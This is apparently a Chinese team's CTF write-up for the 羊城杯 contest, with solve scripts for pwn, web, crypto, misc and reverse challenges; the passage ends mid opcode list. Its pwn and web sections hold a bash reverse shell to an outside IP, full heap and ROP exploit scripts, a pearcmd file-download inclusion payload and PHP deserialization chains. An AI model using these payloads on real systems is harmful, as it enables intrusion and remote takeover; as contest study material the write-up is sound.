? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? -------TWe1v3、1amfree、scr1pt_k1ddi3
这个比赛太累了可，凌晨三点碰着枕头就睡着了，不过收获也蛮多的，这次题目很友好，不像wmCTF一样坐大牢。感谢两位大哥的实力带飞，太菜了我。全靠躺。
?
?
目录
Pwn
YCBSQL
这个应该是有了非预期，可以直接调用shell，我们直接反弹就行。
?
Payload:
.system bash -c "bash -i ?>&/dev/tcp/101.43.255.238/7777 0>&1"
?
ez_linklist-v2
这个题目的漏洞就是在unlink的时候如果是unlink的头指针，那么后面的指针没有清空，就会是这样：
?
然后在free函数的时候，如果offset是0xff，那么后面的指针就都能释放掉，因此就会产生double free。
?
所以实际上就是一个double free的利用。这里我一开始是用的9.7的libc，之后直接改成9.2的就行。
from?pwn import?*
# r=process("/home/ubuntu/pwn/比赛/羊城杯/pwn/pwn")
r=remote("tcp.dasc.buuoj.cn",23916)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/pwn/pwn")
# libc=ELF("/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6")
libc=ELF("/home/ubuntu/pwn/比赛/羊城杯/pwn/libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
context.terminal =?['gnome-terminal','-x','sh','-c']
def?meau(index):
????r.sendlineafter("Your choice:",str(index))
def?add(size,content):
????meau(1)
????r.sendlineafter("Size:",str(size))
????r.sendafter("Content:",content)
def?delete(index,offset):
????meau(2)
????r.sendlineafter("Index",str(index))
????r.sendlineafter("Input offset:",str(offset))
def?link(id1,id2):
????meau(3)
????r.sendlineafter("link from:",str(id1))
????r.sendlineafter("link to:",str(id2))
def?unlink(index,offset):
????meau(4)
????r.sendlineafter("Index:",str(index))
????r.sendlineafter("Input offset:",str(offset))
add(8,'a'*8)
add(8,'b'*8)
add(8,'c'*8)
add(8,'d'*8)
for?i in?range(8):
????add(0x70,p64(0)+p64(0X451))
link(0,1)
unlink(0,0)
delete(1,0xff)
add(8,'z'*8)
link(0,1)
meau(4)
r.sendlineafter("Index:",str(0))
r.recvuntil("Offset 1:")
heap_base=u64(r.recvuntil("\n")[:-1].ljust(8,b'\x00')) -?0x2e0
success("heap_base = "+hex(heap_base))
r.sendlineafter("Input offset:",str(1))
link(2,3)
unlink(2,0)
delete(3,0xff)
payload=p64(0)+p64(0x450)+p64(heap_base+0x3b0)
add(0x18,payload)
delete(2,0)
add(8,'/bin/sh\x00')
add(8,'z'*8)
add(0x60,"z"*8)
payload=p64(0)+p64(8)+p64(heap_base+0x460)
add(0x18,payload)
link(0,4)
meau(4)
r.sendlineafter("Index:",str(0))
libc_base=u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) -?0x10?-96?-?libc.symbols['__malloc_hook']
success("libc_base = "+hex(libc_base))
r.sendlineafter("Input offset:",str(1))
system_addr=libc.symbols['system']+libc_base
free_hook=libc_base+libc.symbols['__free_hook']
delete(7,0)
delete(6,0)
delete(1,0)
payload=p64(free_hook)*3
add(0x60,payload)
add(0x60,payload)
add(0x70,p64(system_addr))
add(0x70,p64(system_addr))
delete(3,0)
r.interactive()fakeNoOutput
这道题目就有点难受，首先是一堆的逆向操作。但是实际上就是一个栈溢出，并且溢出了非常多的字节。但是想要让程序执行到溢出点还是有点的困难。首先我们发现溢出点在upload里面的strcpy(s, haystack);这个部分，然后我们只需要让函数调用upload就可以溢出。但是首先要通过sub_804976F这个函数里面的验证，经过逆向调试发现，就是一个伪随机数，我们直接输入就行。然后溢出的自己大小和Content-Length有较大的关系，因此我们要设置Content-Length的大小来控制溢出的长度。之后由于函数限制的原因，无法ret2libc，因此我们经过精心构造，返回到http_puts函数，然后就能够泄露出got表里的内容，之后再返回主函数再溢出一次就行，就能够拿到shell。让人十分不解的是不知道为什么第二个端口一直打不通，泄露不出来东西，第一个端口多跑两次就能够打通远端。
?
from?os import?execve
from?pwn import?*
# r=process("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/fakeNoOutput")
r=remote("tcp.dasc.buuoj.cn",20432)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/fakeNoOutput")
libc=ELF("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/libc.so.6")
context(arch="i386",os="linux",log_level="debug")
context.terminal =?['gnome-terminal','-x','sh','-c']
payload="POST /upload / ?"
r.sendline(payload)
payload2="Content-Length:0x4022\t"
r.sendline(payload2)
payload3="HTTP_SERVER1_token:wR5qH796Ky8D03r2W7syLB7406e30xP7\t"
r.sendline(payload3)
r.send("\n")
payload='Content:zzzzfilename=zzzz'
r.sendline(payload)
strlen_got=elf.got['strlen']
strstr_plt=elf.plt['strstr']
# payload=(p32(0x804D1a0)+p32(0x8049F77)+p32(0x804D010)).rjust(0x1040,b'a')+p32(0x804D1A0+0x103c-8)+p32(0x80496A8)
payload=b'b'*0x1040+p32(0x804D1A0+0x4000-4)+p32(0x80496A8)
payload=payload.ljust(0x4000,b'a')+p32(0x8049F77)+p32(0x804D010)
r.send(payload)
libc_base=u32(r.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00")) -?libc.symbols['strstr']
success("libc_base = "+hex(libc_base))
system_addr =?libc_base+libc.symbols['system']
bin_sh=libc_base+libc.search(b'/bin/sh').__next__()
execve_addr=libc_base+libc.symbols['execve']
gadget1=0xcc9ab
gadget2=0x145f43
gadget3=0x145f44
one_gadget=libc_base+gadget1
payload="POST /upload / ?"
r.sendline(payload)
payload2="Content-Length:0xece\t"
r.sendline(payload2)
payload3="HTTP_SERVER1_token:5lnPP74OkC4N9U8smBU812Smk1XxvRBJ\t"
r.sendline(payload3)
r.send("\n")
payload='Content:zzzzfilename=zzzz'
r.sendline(payload)
payload=b'c'*0xe9c+p32(execve_addr)+p32(0)+p32(bin_sh)+p32(0)*2
r.send(payload)
r.interactive()Dream
说是dream，实际上就是一个largebin attack，然后UAF漏洞，函数功能还都比较齐全。主要是开启了沙箱不能拿到shell，并且show函数里面有一个加密的过程，想要泄露数据必须要完成逆向，之后我们直接利用qwb里面house of cat的做法，一次largebin attack攻击malloc assert即可实现orw读取flag并泄露。
?
from?pwn import?*
# r=process("/home/ubuntu/pwn/比赛/羊城杯/dream/dream")
r=remote("tcp.dasc.buuoj.cn",26422)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/dream/dream")
libc=ELF("/home/ubuntu/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
context.terminal =?['gnome-terminal','-x','sh','-c']
def?meau(index):
????r.sendlineafter("choice: ",str(index))
def?add(index,size,content):
????meau(1)
????r.sendlineafter("Give me a dream ID: ",str(index))
????r.sendlineafter("how long: ",str(size))
????r.sendafter("dream: ",content)
def?delete(index):
????meau(2)
????r.sendlineafter("Which dream to wake?",str(index))
????
def?show(index):
????meau(4)
????r.sendlineafter("Which dream do you want to show?",str(index))
def?edit(index,content):
????meau(3)
????r.sendlineafter("Which dream to make?",str(index))
????r.sendafter("dream: ",content)
def?de(payload,len):
???key =?[9,5,2,7]
???v9 =?52?//?len?+?6
???delta =?0
???delta -=?v9 *?0x61C88647
???delta &=?0xffffffff
???bk =?payload[0]
???while(v9):
??????for?i in?range(1,len)[::-1]:
?????????fd =?payload[i -?1]
?????????payload[i] -=?(((8?*?bk) ^?(fd >>?7)) +?((bk >>?3) ^?(16?*?fd))) ^?((bk ^?delta) +?(fd ^?key[((delta >>?2) &?3) ^?i &?3]))
?????????payload[i] &=?0xffffffff
?????????bk =?payload[i]
??????i -=?1
??????fd =?payload[len?-?1]
??????payload[0] -=?(((8?*?bk) ^?(fd >>?7)) +?((bk >>?3) ^?(16?*?fd))) ^?((bk ^?delta) +?(fd ^?key[((delta >>?2) &?3) ^?i &?3]))
??????payload[0] &=?0xffffffff
??????bk =?payload[0]
??????delta +=?0x61C88647
??????delta &=?0xffffffff
??????v9-=1
???return?payload
add(0,0x420,'a')
add(1,0x400,'b')
add(2,0x410,"c")
delete(0)
delete(1)
show(0)
payloads=[]
for?i in?range(0x420//4):
????payloads.append(int.from_bytes(r.recv(4), "little"))
payloads=de(payloads,0x420//4)
main_arena=(payloads[0]+(payloads[1]<<32)) -?96
libc_base=main_arena -?0x10?-?libc.symbols['__malloc_hook']
success("libc_base = "+hex(libc_base))
stderr_addr=libc_base+libc.symbols['stderr']
set_context=libc_base+libc.symbols['setcontext']+61
show(1)
payloads1=[]
for?i in?range(0x400//4):
????payloads1.append(int.from_bytes(r.recv(4), "little"))
payloads1=de(payloads1,0x400//4)
heap_base=(payloads1[2]+(payloads1[3]<<32)) -?0x10
success("heap_base = "+hex(heap_base))
payload=p64(main_arena+96)*2
payload=payload.ljust(0x410,b'\x00')
edit(0,payload)
payload=p64(heap_base>>12)+p64(heap_base+0x10)
payload=payload.ljust(0x400,b'\x00')
edit(1,payload)
add(3,0x440,"d")
delete(2)
payload=p64(0)*3+p64(stderr_addr -?0x20)
edit(0,payload)
add(4,0x4f0,'e')
delete(4)
add(5,0x430,'z')
payload=b'\x00'*0x438+p64(0x70)
edit(4,payload)
fake_io_addr=heap_base+0xad0?
next_chain =?0
fake_IO_FILE=p64(heap_base) ????????
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(heap_base+0xee0)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)
fake_IO_FILE +=p64(set_context)
fake_IO_FILE =?fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE +=?p64(0)
fake_IO_FILE =?fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE +=?p64(heap_base+0x1000)
fake_IO_FILE =?fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)
fake_IO_FILE =?fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE +=?p64(0)
fake_IO_FILE =?fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE +=?p64(libc_base+0x1e4f80+0x10)
fake_IO_FILE +=p64(0)*6
fake_IO_FILE +=?p64(fake_io_addr+0x50)
edit(2,fake_IO_FILE)
shellcode_addr=heap_base+0xee0+0x300
frame =?SigreturnFrame()
frame.rsp =?shellcode_addr+0x20
frame.rdi =?heap_base
frame.rsi =?0x10000
frame.rdx =?7
frame.rip =?libc_base+libc.symbols['mprotect']
code =?shellcraft.open("/flag")
code +=?shellcraft.read('rax','rsp',0x50)
code +=?shellcraft.write(1, 'rsp', 0x50)
code +=?shellcraft.exit(0)
shellcode=asm(code)
payload=bytes(frame)[0x20:].ljust(0x300,b'\x00')+p64(shellcode_addr+0x28)+shellcode
edit(3,payload)
meau(1)
r.sendlineafter("Give me a dream ID: ",str(6))
r.sendlineafter("how long: ",str(0x4f0))
r.interactive()Web
rce_me
扫进程扫到了这个
?
直接读根目录/flag，没有权限，应该是需要连木马提权
?
找了一圈死活找不到可以包含的文件，最后要拿pearcmd.php去下载文件然后包含，过滤的字符串可以url编码绕过。
?file=/usr/local/lib/php/%70%65%61%72cmd.php&+download+http://101.43.255.238/1.txt
?
下载文件直接到web目录成功
?
包含文件+蚁剑连接+date提权
?
step_by_step-v3
pop链题目，这里应该是要跳到hint那里去绕过include_once包含文件，但是过滤很多，包含不进去，然后就看到($this->y1)();可以看phpinfo，结果flag直接出来了
<?php
error_reporting(0);
highlight_file(__FILE__);
class?yang
{
????public?$y1;
}
class?cheng
{
????public?$c1;
????public?function?__wakeup()
????{
????????$this->c1->flag =?'flag';
????}
????public?function?__invoke()
????{
????????$this->c1->hint();
????}
}
class?bei
{
????public?$b1;
????public?$b2;
????public?function?__set($k1,$k2)
????{
????????print?$this->b1;
????}
????public?function?__call($n1,$n2)
????{
????????echo?$this->b1;
????}
}
$c=new?cheng();
$b=new?bei();
$y=new?yang();
$y1=new?yang();
$c->c1=$b;
$b->b1=$y;
$y->y1="phpinfo";
print_r(serialize($c));
O:5:"cheng":1:{s:2:"c1";O:3:"bei":2:{s:2:"b1";O:4:"yang":1:{s:2:"y1";s:7:"phpinfo";}s:2:"b2";N;}}
?
?
Safepop
<?php
error_reporting(E_ALL);
ini_set('display_errors',?true);
highlight_file(__FILE__);
class?Fun{
????private?$func?=?'call_user_func_array';
????public?function?__construct(){
????????$this->func=[new?Test(),"getFlag"];
????}
????public?function?__call($f,$p){
????????call_user_func($this->func,$f,$p);
????}
????public?function?__wakeup(){
????????$this->func =?'';
????????die("Don't serialize me");
????}
}
class?Test{
????public?function?getFlag(){
????????system("cat /flag?");
????}
????public?function?__call($f,$p){
????????phpinfo();
????}
????public?function?__wakeup(){
????????echo?"serialize me?";
????}
}
class?A{
????public?$a;
????public?function?__get($p){
????????if(preg_match("/Test/",get_class($this->a))){
????????????return?"No test in Prod\n";
????????}
????????return?$this->a->$p();
????}
}
class?B{
????public?$p;
????public?function?__destruct(){
????????$p?=?$this->p;
????????echo?$this->a->$p;
????}
}
$b=new?B();
$a=new?A();
$t=new?Test();
$f=new?Fun();
$b->a=$a;
$b->p="getFlag";
$a->a=$f;
print_r(serialize($b));
//O:1:"B":2:{s:1:"p";s:7:"getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:" Fun func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";}}}}
//O:1:"B":3:{s:1:"p";s:7:"getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"%00Fun%00func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";}}}}这个题一看就是需要去调那个getFlag方法，但是这里preg_match("/Test/",get_class($this->a))看到了过滤说明直接调用肯定是不行的，所以我们是需要通过Fun类的回调函数去调用的，这样就可以绕过过滤。
同时还有个问题就是weakup，看了一眼php版本，php7.3可能是还有绕过，不然这题没法做了。
?
然后我们就是需要挖链子，这里还有个小问题就是throw new Exception("no pop");会抛出异常，绕过他的方式是要让反序列化的内容有错，这里我一直习惯是用数组去改绕过，但是因为这里最后是要改大小绕weakup的所以不用数组也行。这里$b->p="getFlag";也不需要一定赋值getFlag，只要是随便一个B里面没有的方法就行，这里一开始是直接调的Test，所以赋了这个，懒得改了，这里私有方法记得加%00或者url编码一下。还有要改一下B那里改大一点，改成了3.
?pop=O:1:"B":3:{s:1:"p";s:7:"getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"%00Fun%00func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";}}}}
?
Crypto
EasyRsa
唔，找到一个素数因子，直接分解n。然后就是常规操作，
file??=?"D:\\桌面\\CRYPTO附件\\task\\output.txt"
f =?open(file,'r')
a =?f.readlines()
from?Crypto.Util.number import?*
A =?[]
for?i in?a:
????n =?int(i)
????A.append(n)
A =?A[::-1]
e =?65537
c=38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
p =?7552850543392291177573335134779451826968284497191536051874894984844023350777357739533061306212635723884437778881981836095720474943879388731913801454095897
cnt =?0
def?decrypt(c,d,n):
????return?pow(c,d,n)
for?n in?A:
????q =?n //?p
????assert?p*q ==?n
????phi =?(p-1) *?(q-1)
????d =?inverse(e,phi)
????m =?decrypt(c,d,n)
????print(pow(m,e,n)==c)
????c =?m
print(long_to_bytes(c))LRSA
根据
?构造格子
?
我们需要的向量(p-58,q-44,k)量级大概在1024bit，那么需要对我们构造的lattice进行放大
?
使用LLL算法得到(p-58,q-44,k)，即可分解n。
from?Crypto.Util.number import?*
import?gmpy2
B=1023
PPQ=17550772391048142376662352375650397168226219900284185133945819378595084615279414529115194246625188015626268312188291451580718399491413731583962229337205180301248556893326419027312533686033888462669675100382278716791450615542537581657011200868911872550652311318486382920999726120813916439522474691195194557657267042628374572411645371485995174777885120394234154274071083542059010253657420242098856699109476857347677270860654429688935924519805555787949683144015873225388396740487817155358042797286990338440987035608851331840925854381286767024584195081004360635842976624747610461507795755042915965483135990495921912997789567020652729777216671481467049291624343256152446367091568361258918212012737611001009003078023715854575413979603297947011959023398306612437250872299406744778763429172689675430968886613391356192380152315042387148665654062576525633130546454743040442444227245763939134967515614637300940642555367668537324892890004459521919887178391559206373513466653484926149453481758790663522317898916616435463486824881406198956479504970446076256447830689197409184703931842169195650953917594642601134810084247402051464584676932882503143409428970896718980446185114397748313655630266379123438583315809104543663538494519415242569480492899140190587129956835218417371308642212037424611690324353109931657289337536406499314388951678319136343913551598851601805737870217800009086551022197432448461112330252097447894028786035069710260561955740514091976513928307284531381150606428802334767412638213776730300093872457594524254858721551285338651364457529927871215183857169772407595348187949014442596356406144157105062291018215254440382214000573515515859668018846789551567310531570458316720877172632139481792680258388798439064221051325274383331521717987420093245521230610073103811158660291643007279940393509663374960353315388446956868294358252276964954745551655711981
PQQ=17632503734712698604217167790453868045296303200715867263641257955056721075502316035280716025016839471684329988600978978424661087892466132185482035374940487837109552684763339574491378951189521258328752145077889261805000262141719400516584216130899437363088936913664419705248701787497332582188063869114908628807937049986360525010012039863210179017248132893824655341728382780250878156526086594253092249935304259986328308203344932540888448163430113818706295806406535364433801544858874357459282988110371175948011077595778123265914357153104206808258347815853145593128831233094769191889153762451880396333921190835200889266000562699392602082643298040136498839726733129090381507278582253125509943696419087708429546384313035073010683709744463087794325058122495375333875728593383803489271258323466068830034394348582326189840226236821974979834541554188673335151333713605570214286605391522582123096490317734786072061052604324131559447145448500381240146742679889154145555389449773359530020107821711994953950072547113428811855524572017820861579995449831880269151834230607863568992929328355995768974532894288752369127771516710199600449849031992434777962666440682129817924824151147427747882725858977273856311911431085373396551436319200582072164015150896425482384248479071434032953021738952688256364397405939276917210952583838731888536160866721278250628482428975748118973182256529453045184370543766401320261730361611365906347736001225775255350554164449014831203472238042057456969218316231699556466298168668958678855382462970622819417830000343573014265235688391542452769592096406400900187933156352226983897249981036555748543606676736274049188713348408983072484516372145496924391146241282884948724825393087105077360952770212959517318021248639012476095670769959011548699960423508352158455979906789927951812368185987838359200354730654103428077770839008773864604836807261909
t=44
c=4364802217291010807437827526073499188746160856656033054696031258814848127341094853323797303333741617649819892633013549917144139975939225893749114460910089509552261297408649636515368831194227006310835137628421405558641056278574098849091436284763725120659865442243245486345692476515256604820175726649516152356765363753262839864657243662645981385763738120585801720865252694204286145009527172990713740098977714337038793323846801300955225503801654258983911473974238212956519721447805792992654110642511482243273775873164502478594971816554268730722314333969932527553109979814408613177186842539860073028659812891580301154746
PQ =?gmpy2.gcd(PPQ,PQQ)
Q =?PQQ//PQ
P =?PPQ//PQ
p =?80736411146583842306585010871034886981016840349026602734742256246556342668178774083233822097872779308174897649383396380481655663281333047577768952571915605685701400990749928642136680236367785948214890529631428970999122918591632651324318444462622996015719163492064450044087392474349767300242266723293755137205+58
q =?71239161441539946834999944364158306978517617517717217001776063773301330324729178632534286023377366747004115034635139042058644768011502688969022553791977558750633767627495955645170437100983708648876951588485253787441732757259210010467734037546118780321368088487269039555130213851691659851510403573663333586407+44
e =?65537
phi =?(p-1)*(q-1)
d =?gmpy2.invert(e,phi)
print(long_to_bytes(pow(c,d,p*q)))Misc
签到
直接ciphey识别解码就OK
?
where_is_secret
拿到附件，vig.txt的内容一眼丁真，vigenere编码（Vigenere Solver - www.guballa.de）在线解密，拿到解开压缩包得到一张bmp图片，结合hint的脚本，写读像素点脚本
from?PIL import?Image
import?numpy as?np
import?math
def?encode(text):
????str_len =?len(text)
????width =?math.ceil(str_len **?0.5)
????im =?Image.new("RGB", (width, width), 0x0)
????x, y =?0, 0
????for?i in?text:
????????index =?ord(i)
????????rgb =?(0, (index &?0xFF00) >>?8, index &?0xFF)
????????im.putpixel((x, y), rgb)
????????if?x ==?width -?1:
????????????x =?0
????????????y +=?1
????????else:
????????????x +=?1
????return?im
def?decode():
????file?=?open("829962.txt","w")
????img =?Image.open("out.bmp")
????imgdata =?np.array(img)
????index =?[]
????for?x in?range(371):
????????for?y in?range(371):
????????????m =?int(imgdata[x][y][1])
????????????n =?int(imgdata[x][y][2])
????????????str?=?m<<8
????????????str?+=?n
????????????file.write(chr(str))
????file.close()
if?__name__?==?'__main__':
????decode()打开输出的文本，发现flag被打散在文本中，写一个字母识别脚本,懒了，没写正则。。
file='D:\\桌面\\829962.txt'
import?string
dict?=?string.ascii_letters+'_'+'1'+'3'+'}'+'{'
var =?''
f =?open(file,'r',encoding='gbk').read()
for?i in?f:
????if?i in?dict:
????????var +=?i
print(var)获得串flag
?结合特征
flag{h1d3_1n_th3_p1ctur3}
迷失幻境
打卡压缩包，是虚拟磁盘镜像，取证大师挂载，查看回收站有一个jpg和一个45文件。
?
查看45文件发现PNG格式特征
?
补充文件头，然后与给的100张图片中随便选一张用stegslove里的Image combiner，获得一窜字符“Key is 可莉前来报到”，猜测可爱可莉.jpg就是加密的图片，轮番试过之后，用outguess解出flag
?
DASCTF{f473a6fd2de17a0c5794414b3905ebbe}
躲猫猫
打开题目附件，用wireshark打开，读取http报文，发现一个PNG特征格式的文件
?
下载获得一张灰色的PNG
接着读报文，FTP拿到一个加密压缩包，发现key.log没有加密，查看内容，通过查询是用来解密TLS流量的。
?
解密TLS流量之后获得一张JPG图片
?
内容是压缩包的解压密码。解压后的脚本是对原图的像素重计算，编写脚本恢复原图。
from?PIL import?Image
from?numpy import?array, zeros, uint8
import?cv2
import?os
image =?cv2.imread("hide.png")
imagearray =?array(image)
?
x,y =?5999540678407978169965856946811257903979429787575580150595711549672916183293763090704344230372835328,6310149030391323406342737832910952782997118359318834776480172449836047279615976753524231989362688
?
h,w =?1800,1800
?
x1 =?round(x/y*0.001, 16)
u1 =?y*3650/x
x2 =?round(x/y*0.00101, 16)
u2 =?y*3675/x
x3 =?round(x/y*0.00102, 16)
u3 =?y*3680/x
kt =?[x1, x2, x3]
temp_image =?zeros(shape=[h, w, 3], dtype=uint8)
?
for?k in?range(0, 1):
????for?i in?range(0, h):
????????for?j in?range(0, w):
????????????x1 =?u1 *?x1 *?(1?-?x1)
????????????x2 =?u2 *?x2 *?(1?-?x2)
????????????x3 =?u3 *?x3 *?(1?-?x3)
????????????r1 =?int(x1*255)
????????????r2 =?int(x2*255)
????????????r3 =?int(x3*255)
????????????for?t in?range(0, 3):
????????????????temp_image[i][j][t] =?(imagearray[i][j][t] -?((r1+r2) ^?r3)) %?256
????
????
????x1 =?kt[0]
????x2 =?kt[1]
????x3 =?kt[2]
?
encflagarray =?Image.fromarray(temp_image)
encflagarray.show()
encflagarray.save("flag.png")得到一张图片，一番搜索，是Maxicode码，扫描多次未成功，接着查找资料，发现猫的位置需要更替为一个中心靶标（公牛眼）
?
扫描成功！！
?
GWHT{ozqgVLoI1DvK8giNVdvGslr_aZKKwNuv_q-FzqB5N3hHHqn3}
Re
BBBButton
输入分为两段，其中第二段是最后的flag。因为只有4个按钮，猜测与四进制有关，之后在动调的过程中也刚好发现了四进制转换后的数字。
动调发现，check1是从一张表中得到"-bl^H"字符串，本质上是通过整除及取余的方式确定下标得到字符。脚本如下
from?table import?table ???????# 导入表
c =?[0x2d,0x62,0x6c,0x5e,0x48]
a1 =?[0x2d,0x62] ???# 14772//4
a2 =?[0x6c,0x5e] ???# 24740//4
a3 =?0x48
# 4,344,684,1024,1364,1704,2044,2384,2724,3064,3404,3744,4084,4424,4764,5104,5444,5784,6124,6464,6804,7144,7484,7824,8164,8504,8844,9184,9524,9864,10204,10544,10884,11224,11564,11904,12244,12584,12924,13264,13604,13944,14284,14624,14964,15304,15644,15984,16324,16664,17004,17344,17684,18024,18364,18704,19044,19384,19724,20064,20404,20744,21084,21424,21764,22104,22444,22784,23124,23464,23804,24144,24484,24824,25164,25504,25844,26184,26524,26864,27204,27544,27884,28224,28564
tt =?[]
for?i in?range(0,len(table),4):
????if?table[i]==a3:
????????tt.append(i//4)
????????# print(i,end=',')
????if?table[i+1]==a1[0] and?table[i]==a1[1]:
????????n =?i//4
????????# print('1:',i)
????if?table[i+1]==a2[0] and?table[i]==a2[1]:
????????m =?i//4
????????# print('2:',i)
k =?n*0x1c39+m
# k = 0x1973a6e
# print(hex(k))
m =?k%0x1c39
b =?k//0x1c39
# print(hex(m))
# print(hex(table[4*m]),hex(table[4*m+1]),hex(table[4*m+2]),hex(table[4*m+3]))
# print(chr(table[4*m+1]),chr(table[4*m]))
for?i in?tt:
????a =?i+85*k
????# b,c = aaa(a,0x55)
????c =?a//0x55
????if?c==k:
????????flag1 =?a
????????print(hex(a))
# 0x87366687
将解出的a转化为4进制输入即可（动调按按钮真的魔鬼，不小心按错还得重头再来）
check2
vm混淆，opcode利用check1加密过，动调直接dump即可。然后就是喜闻乐见的手撕环节（悲
opcode =?[0xF1, 0x01, 0x05, 0x04, 0xF1, 0x01, 0x08, 0x00, 0xF4, 0x08,
??0x08, 0xE1, 0xF1, 0x01, 0x00, 0x00, 0xF1, 0xE0, 0x09, 0x05,
??0xFF, 0x01, 0x09, 0x01, 0xF6, 0xF1, 0xE0, 0x0A, 0x00, 0xFF,
??0x01, 0x0A, 0x01, 0xF5, 0xF4, 0x0A, 0x0A, 0xE1, 0xF4, 0x0A,
??0x00, 0xE2, 0xFF, 0x01, 0x00, 0x01, 0xF5, 0xF2, 0x00, 0x09,
??0x01, 0x19, 0xF4, 0x08, 0x00, 0xE2, 0xF1, 0x01, 0x07, 0x00,
??0xF1, 0x04, 0x06, 0xF4, 0xF3, 0xF2, 0xF1, 0xF1, 0x01, 0x04,
??0x40, 0xF1, 0xE0, 0x03, 0x05, 0xFF, 0x01, 0x03, 0x01, 0xF6,
??0xF4, 0x03, 0x03, 0xE1, 0xFF, 0xE0, 0x07, 0x06, 0xF5, 0xF1,
??0xE0, 0x00, 0x07, 0xFF, 0x01, 0x00, 0x02, 0xFA, 0xFF, 0x01,
??0x00, 0x03, 0xFD, 0xF1, 0xE0, 0x01, 0x00, 0xF1, 0xE0, 0x00,
??0x05, 0xFF, 0x01, 0x00, 0x01, 0xF6, 0xF1, 0xE0, 0x08, 0x00,
??0xF1, 0x01, 0x00, 0x00, 0xF1, 0xE0, 0x09, 0x00, 0xFF, 0x01,
??0x09, 0x01, 0xF5, 0xF4, 0x02, 0x09, 0xE1, 0xF1, 0xE0, 0x0A,
??0x03, 0xFF, 0x01, 0x0A, 0x05, 0xFA, 0xF1, 0xE0, 0x0B, 0x02,
??0xFF, 0x01, 0x0B, 0x02, 0xF9, 0xFF, 0xE0, 0x0A, 0x0B, 0xFB,
??0xF1, 0xE0, 0x0B, 0x02, 0xFF, 0x01, 0x0B, 0x03, 0xFA, 0xF1,
??0xE0, 0x0C, 0x03, 0xFF, 0x01, 0x0C, 0x04, 0xF9, 0xFF, 0xE0,
??0x0B, 0x0C, 0xFB, 0xFF, 0xE0, 0x0A, 0x0B, 0xF5, 0xF1, 0xE0,
??0x09, 0x07, 0xFF, 0xE0, 0x09, 0x02, 0xFB, 0xF1, 0xE0, 0x0B,
??0x00, 0xFF, 0x01, 0x0B, 0x03, 0xFD, 0xFF, 0xE0, 0x0B, 0x01,
??0xFB, 0xF3, 0x0B, 0x0B, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6,
??0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF, 0xF0,
??0xFF, 0xE0, 0x0B, 0x03, 0xFB, 0xFF, 0xE0, 0x09, 0x0B, 0xF5,
??0xFF, 0xE0, 0x09, 0x0A, 0xFB, 0xF4, 0x0A, 0x00, 0xE1, 0xFF,
??0xE0, 0x09, 0x0A, 0xF5, 0xF4, 0x09, 0x00, 0xE2, 0xF1, 0xE0,
??0x03, 0x09, 0xFF, 0x01, 0x00, 0x01, 0xF5, 0xF2, 0x00, 0x08,
??0x01, 0x7C, 0xF1, 0x01, 0x02, 0x00, 0xF4, 0x02, 0x02, 0xE1,
??0xF1, 0xE0, 0x0A, 0x03, 0xFF, 0x01, 0x0A, 0x05, 0xFA, 0xF1,
??0xE0, 0x0B, 0x02, 0xFF, 0x01, 0x0B, 0x02, 0xF9, 0xFF, 0xE0,
??0x0A, 0x0B, 0xFB, 0xF1, 0xE0, 0x0B, 0x02, 0xFF, 0x01, 0x0B,
??0x03, 0xFA, 0xF1, 0xE0, 0x0C, 0x03, 0xFF, 0x01, 0x0C, 0x04,
??0xF9, 0xFF, 0xE0, 0x0B, 0x0C, 0xFB, 0xFF, 0xE0, 0x0A, 0x0B,
??0xF5, 0xF1, 0xE0, 0x09, 0x07, 0xFF, 0xE0, 0x09, 0x02, 0xFB,
??0xF1, 0xE0, 0x0B, 0x00, 0xFF, 0x01, 0x0B, 0x03, 0xFD, 0xFF,
??0xE0, 0x0B, 0x01, 0xFB, 0xF3, 0x0B, 0x0B, 0xF1, 0xF2, 0xF3,
??0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD,
??0xFE, 0xFF, 0xF0, 0xFF, 0xE0, 0x0B, 0x03, 0xFB, 0xFF, 0xE0,
??0x09, 0x0B, 0xF5, 0xFF, 0xE0, 0x09, 0x0A, 0xFB, 0xF4, 0x0A,
??0x00, 0xE1, 0xFF, 0xE0, 0x09, 0x0A, 0xF5, 0xF4, 0x09, 0x00,
??0xE2, 0xF1, 0xE0, 0x03, 0x09, 0xFF, 0x01, 0x04, 0x01, 0xF6,
??0xF1, 0x01, 0x0C, 0x00, 0xF2, 0x04, 0x0C, 0x01, 0x54, 0xF1,
??0x01, 0x00, 0x00, 0xF1, 0xE0, 0x09, 0x05, 0xF1, 0x04, 0x0A,
